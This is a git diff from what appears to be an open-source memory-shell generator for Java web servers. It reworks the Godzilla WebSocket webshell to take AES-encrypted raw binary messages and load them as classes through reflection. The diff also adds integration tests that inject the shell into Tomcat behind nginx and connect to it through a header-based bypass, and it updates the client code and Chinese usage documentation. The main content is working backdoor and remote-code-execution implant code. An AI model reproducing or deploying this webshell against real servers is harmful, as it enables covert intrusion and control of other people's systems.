diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java index 70905aea..c1ef80d0 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java @@ -12,21 +12,22 @@ import java.lang.reflect.Field; import java.lang.reflect.Method; import java.net.URL; import java.net.URLClassLoader; +import java.nio.ByteBuffer; /** * @author ReaJason * @since 2025/5/9 */ -public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole { +public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole { public static String key; private Session session; private static Class payload; @Override - public void onMessage(String message) { + public void onMessage(ByteBuffer byteBuffer) { byte[] result = null; try { - byte[] data = base64Decode(message); + byte[] data = byteBuffer.array(); data = x(data, false); if (payload == null || (data[0] == -54 && data[1] == -2)) { payload = reflectionDefineClass(data); @@ -44,7 +45,7 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole< result = getErrorMessage(e).getBytes(); } try { - session.getBasicRemote().sendText(base64Encode(x(result, true))); + session.getBasicRemote().sendBinary(ByteBuffer.wrap(x(result, true))); } catch (Exception ignored) { } } @@ -83,28 +84,6 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole< session.addMessageHandler(this); } - @SuppressWarnings("all") - public static String base64Encode(byte[] bs) throws Exception { - try { - Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null); - return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); - } catch (Exception var6) { - Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance(); - return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); - } - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) throws Exception { - try { - Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null); - return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance(); - return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } - } - public byte[] x(byte[] s, boolean m) throws Exception { Cipher c = Cipher.getInstance("AES"); c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10WebSocketBypassNginxTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10WebSocketBypassNginxTest.java index c1da60c6..e48c611a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10WebSocketBypassNginxTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10WebSocketBypassNginxTest.java @@ -1,12 +1,14 @@ package com.reajason.javaweb.integration.memshell.tomcat; import com.reajason.javaweb.godzilla.BlockingJavaWebSocketClient; +import com.reajason.javaweb.godzilla.GodzillaManager; import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.memshell.MemShellResult; import com.reajason.javaweb.memshell.ServerType; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.config.CommandConfig; +import com.reajason.javaweb.memshell.config.GodzillaConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig; import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; @@ -20,6 +22,7 @@ import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.io.File; +import java.io.IOException; import static org.junit.jupiter.api.Assertions.assertThrows; import static org.junit.jupiter.api.Assertions.assertTrue; @@ -63,6 +66,43 @@ public class Tomcat10WebSocketBypassNginxTest { assertTrue(response.contains("uid=")); } + + @Test + public void testGodzillaWs() { + String url = getUrl(); + String server = ServerType.TOMCAT; + String serverVersion = "Unknown"; + int targetJdkVersion = Opcodes.V1_8; + String shellType = ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET; + String shellTool = ShellTool.Godzilla; + Packers packer = Packers.Base64; + Pair urls = ShellAssertion.getUrls(url, shellType, shellTool, packer); + String shellUrl = urls.getLeft(); + String urlPattern = urls.getRight(); + ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, shellTool, packer); + MemShellResult generateResult = ShellAssertion.generate(urlPattern, server, serverVersion, shellType, shellTool, targetJdkVersion, shellToolConfig, packer); + ShellAssertion.packerResultAndInject(generateResult, url, shellTool, shellType, packer, null); + GodzillaConfig godzillaConfig = (GodzillaConfig) generateResult.getShellToolConfig(); + // direct connect ws will cause failed + assertThrows(IllegalStateException.class, () -> { + try (GodzillaManager godzillaManager = GodzillaManager.builder() + .entrypoint(shellUrl).pass(godzillaConfig.getPass()) + .key(godzillaConfig.getKey()).build()) { + godzillaManager.start(); + } + }, "WebSocket connection is not open."); + // connect by valve bypass will success + try (GodzillaManager godzillaManager = GodzillaManager.builder() + .entrypoint(shellUrl).pass(godzillaConfig.getPass()) + .key(godzillaConfig.getKey()).header(godzillaConfig.getHeaderName() + , godzillaConfig.getHeaderValue()).build()) { + assertTrue(godzillaManager.start()); + assertTrue(godzillaManager.test()); + } catch (IOException e) { + e.printStackTrace(); + } + } + public static String getUrl() { String host = compose.getServiceHost("nginx", 80); int port = compose.getServicePort("nginx", 80); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8WebSocketBypassNginxTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8WebSocketBypassNginxTest.java index 5780624e..20241cb1 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8WebSocketBypassNginxTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8WebSocketBypassNginxTest.java @@ -1,12 +1,14 @@ package com.reajason.javaweb.integration.memshell.tomcat; import com.reajason.javaweb.godzilla.BlockingJavaWebSocketClient; +import com.reajason.javaweb.godzilla.GodzillaManager; import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.memshell.MemShellResult; import com.reajason.javaweb.memshell.ServerType; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.config.CommandConfig; +import com.reajason.javaweb.memshell.config.GodzillaConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig; import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; @@ -20,6 +22,7 @@ import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.io.File; +import java.io.IOException; import static org.junit.jupiter.api.Assertions.assertThrows; import static org.junit.jupiter.api.Assertions.assertTrue; @@ -70,4 +73,40 @@ public class Tomcat8WebSocketBypassNginxTest { String response = BlockingJavaWebSocketClient.sendRequestWaitResponseWithHeader(shellUrl, "id", commandConfig.getHeaderName(), commandConfig.getHeaderValue()); assertTrue(response.contains("uid=")); } + + @Test + public void testGodzillaWs() { + String url = getUrl(); + String server = ServerType.TOMCAT; + String serverVersion = "Unknown"; + int targetJdkVersion = Opcodes.V1_8; + String shellType = ShellType.BYPASS_NGINX_WEBSOCKET; + String shellTool = ShellTool.Godzilla; + Packers packer = Packers.Base64; + Pair urls = ShellAssertion.getUrls(url, shellType, shellTool, packer); + String shellUrl = urls.getLeft(); + String urlPattern = urls.getRight(); + ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, shellTool, packer); + MemShellResult generateResult = ShellAssertion.generate(urlPattern, server, serverVersion, shellType, shellTool, targetJdkVersion, shellToolConfig, packer); + ShellAssertion.packerResultAndInject(generateResult, url, shellTool, shellType, packer, null); + GodzillaConfig godzillaConfig = (GodzillaConfig) generateResult.getShellToolConfig(); + // direct connect ws will cause failed + assertThrows(IllegalStateException.class, () -> { + try (GodzillaManager godzillaManager = GodzillaManager.builder() + .entrypoint(shellUrl).pass(godzillaConfig.getPass()) + .key(godzillaConfig.getKey()).build()) { + godzillaManager.start(); + } + }, "WebSocket connection is not open."); + // connect by valve bypass will success + try (GodzillaManager godzillaManager = GodzillaManager.builder() + .entrypoint(shellUrl).pass(godzillaConfig.getPass()) + .key(godzillaConfig.getKey()).header(godzillaConfig.getHeaderName() + , godzillaConfig.getHeaderValue()).build()) { + assertTrue(godzillaManager.start()); + assertTrue(godzillaManager.test()); + } catch (IOException e) { + e.printStackTrace(); + } + } } diff --git a/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/BlockingJavaWebSocketClient.java b/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/BlockingJavaWebSocketClient.java index 3a5250f4..0a5e6a8c 100644 --- a/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/BlockingJavaWebSocketClient.java +++ b/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/BlockingJavaWebSocketClient.java @@ -6,6 +6,7 @@ import org.java_websocket.handshake.ServerHandshake; import java.net.URI; import java.nio.ByteBuffer; +import java.util.Map; import java.util.concurrent.CountDownLatch; import java.util.concurrent.TimeUnit; import java.util.concurrent.atomic.AtomicReference; @@ -22,6 +23,10 @@ public class BlockingJavaWebSocketClient extends WebSocketClient { super(serverUri); } + public BlockingJavaWebSocketClient(URI serverUri, Map httpHeaders) { + super(serverUri, httpHeaders); + } + @Override public void onOpen(ServerHandshake handshake) { System.out.println("连接成功"); @@ -133,6 +138,12 @@ public class BlockingJavaWebSocketClient extends WebSocketClient { return blockingJavaWebSocketClient.sendRequest(message); } + @SneakyThrows + public static byte[] sendRequestWaitResponse(String entrypoint, ByteBuffer message, Map httpHeaders) { + BlockingJavaWebSocketClient blockingJavaWebSocketClient = new BlockingJavaWebSocketClient(URI.create(entrypoint), httpHeaders); + return blockingJavaWebSocketClient.sendRequest(message); + } + public static void main(String[] args) { String uri = "ws://localhost:8082/app/fuck"; System.out.println("Response 1: " + BlockingJavaWebSocketClient.sendRequestWaitResponse(uri, "id")); diff --git a/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java b/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java index 60d7be55..38a2ce95 100644 --- a/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java +++ b/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java @@ -17,6 +17,7 @@ import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import java.io.*; import java.net.URLDecoder; +import java.nio.ByteBuffer; import java.nio.charset.StandardCharsets; import java.util.HashMap; import java.util.Map; @@ -177,6 +178,7 @@ public class GodzillaManager implements Closeable { return client.newCall(builder.build()).execute(); } + @SneakyThrows public boolean start() { byte[] bytes = generateGodzilla(); if (isHttp()) { @@ -189,19 +191,12 @@ public class GodzillaManager implements Closeable { return true; } System.out.println(response.body().string().trim()); - } catch (IOException e) { - e.printStackTrace(); } } if (isWs()) { - try { - byte[] aes = aes(this.key, bytes, true); - String base64String = Base64.encodeBase64String(aes); - BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, base64String); - return true; - } catch (Exception e) { - e.printStackTrace(); - } + byte[] aes = aes(this.key, bytes, true); + BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, ByteBuffer.wrap(aes), headers); + return true; } return false; } @@ -213,11 +208,9 @@ public class GodzillaManager implements Closeable { try (Response response = post(bytes)) { if (response.isSuccessful()) { ResponseBody body = response.body(); - if (body != null) { - String resultFromRes = getResultFromRes(body.string(), this.key, this.md5); - System.out.println(resultFromRes); - return "ok".equals(resultFromRes); - } + String resultFromRes = getResultFromRes(body.string(), this.key, this.md5); + System.out.println(resultFromRes); + return "ok".equals(resultFromRes); } return false; } catch (IOException e) { @@ -228,10 +221,9 @@ public class GodzillaManager implements Closeable { if (isWs()) { byte[] aes = aes(this.key, bytes, true); - String base64String = Base64.encodeBase64String(aes); - String response = BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, base64String); - if(StringUtils.isNoneBlank(response)){ - byte[] x = aes(key, Base64.decodeBase64(response), false); + byte[] response = BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, ByteBuffer.wrap(aes), headers); + if (response != null) { + byte[] x = aes(key, response, false); GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(x)); return "ok".equals(IOUtils.toString(gzipInputStream, StandardCharsets.UTF_8)); } diff --git a/web/app/components/memshell/results/basic-info.tsx b/web/app/components/memshell/results/basic-info.tsx index 5a400204..ad6cf51a 100644 --- a/web/app/components/memshell/results/basic-info.tsx +++ b/web/app/components/memshell/results/basic-info.tsx @@ -111,7 +111,11 @@ export function BasicInfo({ /> =16.8", "@types/react-dom": ">=16.8", "react": ">=16.8", "react-dom": ">=16.8" } }, "sha512-ONDMs117FrzWxFD1JQ9Z94QnTx+63RuQ+9Z3ieSS9bHAWmty4PWiLddAZPvyHCbV9iljlpUEkCoKCO1HMywR2Q=="], - "@tanstack/react-query": ["@tanstack/react-query@5.90.17", "", { "dependencies": { "@tanstack/query-core": "5.90.17" }, "peerDependencies": { "react": "^18 || ^19" } }, "sha512-PGc2u9KLwohDUSchjW9MZqeDQJfJDON7y4W7REdNBgiFKxQy+Pf7eGjiFWEj5xPqKzAeHYdAb62IWI1a9UJyGQ=="], + "@tanstack/react-query": ["@tanstack/react-query@5.90.18", "", { "dependencies": { "@tanstack/query-core": "5.90.18" }, "peerDependencies": { "react": "^18 || ^19" } }, "sha512-KqNZX0C5IFz4639zR1ilnQ288tQdJrMNLtzmlzyJ14xauBkhtLEy3mPU/V4KiHsr41eL1ILZbDP36TB12lYfCQ=="], "@types/d3-hierarchy": ["@types/d3-hierarchy@1.1.11", "", {}, "sha512-lnQiU7jV+Gyk9oQYk0GGYccuexmQPTp08E0+4BidgFdiJivjEvf+esPSdZqCZ2C7UwTWejWpqetVaU8A+eX3FA=="], @@ -446,7 +446,7 @@ "@types/ms": ["@types/ms@2.1.0", "", {}, "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA=="], - "@types/node": ["@types/node@25.0.8", "", { "dependencies": { "undici-types": "~7.16.0" } }, "sha512-powIePYMmC3ibL0UJ2i2s0WIbq6cg6UyVFQxSCpaPxxzAaziRfimGivjdF943sSGV6RADVbk0Nvlm5P/FB44Zg=="], + "@types/node": ["@types/node@25.0.9", "", { "dependencies": { "undici-types": "~7.16.0" } }, "sha512-/rpCXHlCWeqClNBwUhDcusJxXYDjZTyE8v5oTO7WbL8eij2nKhUeU89/6xgjU7N4/Vh3He0BtyhJdQbDyhiXAw=="], "@types/parse-json": ["@types/parse-json@4.0.2", "", {}, "sha512-dISoDXWWQwUquiKsyZ4Ng+HX2KsPL7LyHKHQwgGFEA3IaKac4Obd+h2a/a6waisAoepJlBcx9paWqjA8/HVjCw=="], @@ -1164,7 +1164,7 @@ "supports-preserve-symlinks-flag": ["supports-preserve-symlinks-flag@1.0.0", "", {}, "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w=="], - "tabbable": ["tabbable@6.3.0", "", {}, "sha512-EIHvdY5bPLuWForiR/AN2Bxngzpuwn1is4asboytXtpTgsArc+WmSJKVLlhdh71u7jFcryDqB2A8lQvj78MkyQ=="], + "tabbable": ["tabbable@6.4.0", "", {}, "sha512-05PUHKSNE8ou2dwIxTngl4EzcnsCDZGJ/iCLtDflR/SHB/ny14rXc+qU5P4mG9JkusiV7EivzY9Mhm55AzAvCg=="], "tailwind-merge": ["tailwind-merge@3.4.0", "", {}, "sha512-uSaO4gnW+b3Y2aWoWfFpX62vn2sR3skfhbjsEnaBI81WD1wBLlHZe5sWf0AqjksNdYTbGBEd0UasQMT3SNV15g=="], diff --git a/web/content/docs/images/godzilla_client_ws.png b/web/content/docs/images/godzilla_client_ws.png index 6e996866..7531545a 100644 Binary files a/web/content/docs/images/godzilla_client_ws.png and b/web/content/docs/images/godzilla_client_ws.png differ diff --git a/web/content/docs/images/godzilla_client_ws_1.png b/web/content/docs/images/godzilla_client_ws_1.png new file mode 100644 index 00000000..ff819e76 Binary files /dev/null and b/web/content/docs/images/godzilla_client_ws_1.png differ diff --git a/web/content/docs/images/godzilla_config.png b/web/content/docs/images/godzilla_config.png index 23966da5..097f16da 100644 Binary files a/web/content/docs/images/godzilla_config.png and b/web/content/docs/images/godzilla_config.png differ diff --git a/web/content/docs/images/godzilla_tool_select.png b/web/content/docs/images/godzilla_tool_select.png index 698b62dd..cb2cf86a 100644 Binary files a/web/content/docs/images/godzilla_tool_select.png and b/web/content/docs/images/godzilla_tool_select.png differ diff --git a/web/content/docs/images/godzilla_websocket.png b/web/content/docs/images/godzilla_websocket.png index 47c097f1..5ff42351 100644 Binary files a/web/content/docs/images/godzilla_websocket.png and b/web/content/docs/images/godzilla_websocket.png differ diff --git a/web/content/docs/shelltool/godzilla.mdx b/web/content/docs/shelltool/godzilla.mdx index 06bb891d..b9eba750 100644 --- a/web/content/docs/shelltool/godzilla.mdx +++ b/web/content/docs/shelltool/godzilla.mdx @@ -48,8 +48,6 @@ import { Step, Steps } from 'fumadocs-ui/components/steps'; ## Godzilla WebSocket 马支持 -> 不支持特战版 WebSocket 载荷,仅支持以下方式 - @@ -73,9 +71,13 @@ import { Step, Steps } from 'fumadocs-ui/components/steps'; ### 使用客户端尝试连接 1. URL 需要注意使用 `ws://` 协议头,由于 ws 没有请求头那些东西,因此请求配置不需要额外配置请求头 -2. 有效载荷在装载完上续 GzWebSocket.jar 插件后,会出现 JavaWebSocket 选择 Java_WebSocket_Aes_Base64 加密器即可尝试连接。 +2. 有效载荷在装载完上续 GzWebSocket.jar 插件后,会出现 JavaWebSocket 选择 Java_WebSocket_Aes_Raw 加密器即可尝试连接。 ![godzilla_client_ws](../images/godzilla_client_ws.png) + +如果你是用是哥斯拉特战版,需要注意请求地址不要写 path 只写 ip:host,密码处填 path 即 `/app/g-ws` + +![godzilla_client_ws_1](../images/godzilla_client_ws_1.png) \ No newline at end of file diff --git a/web/package.json b/web/package.json index 80960185..9906d68b 100644 --- a/web/package.json +++ b/web/package.json @@ -12,13 +12,13 @@ "format": "biome format --write" }, "dependencies": { - "@base-ui/react": "^1.0.0", + "@base-ui/react": "^1.1.0", "@hookform/resolvers": "^5.2.2", "@orama/orama": "^3.1.18", "@orama/stopwords": "^3.1.18", "@orama/tokenizers": "^3.1.18", "@react-router/node": "^7.12.0", - "@tanstack/react-query": "^5.90.17", + "@tanstack/react-query": "^5.90.18", "class-variance-authority": "^0.7.1", "clsx": "^2.1.1", "framer-motion": "^12.26.2", @@ -46,7 +46,7 @@ "@react-router/dev": "^7.12.0", "@tailwindcss/vite": "^4.1.18", "@types/mdx": "^2.0.13", - "@types/node": "^25.0.8", + "@types/node": "^25.0.9", "@types/react": "^19.2.8", "@types/react-copy-to-clipboard": "^5.0.7", "@types/react-dom": "^19.2.3",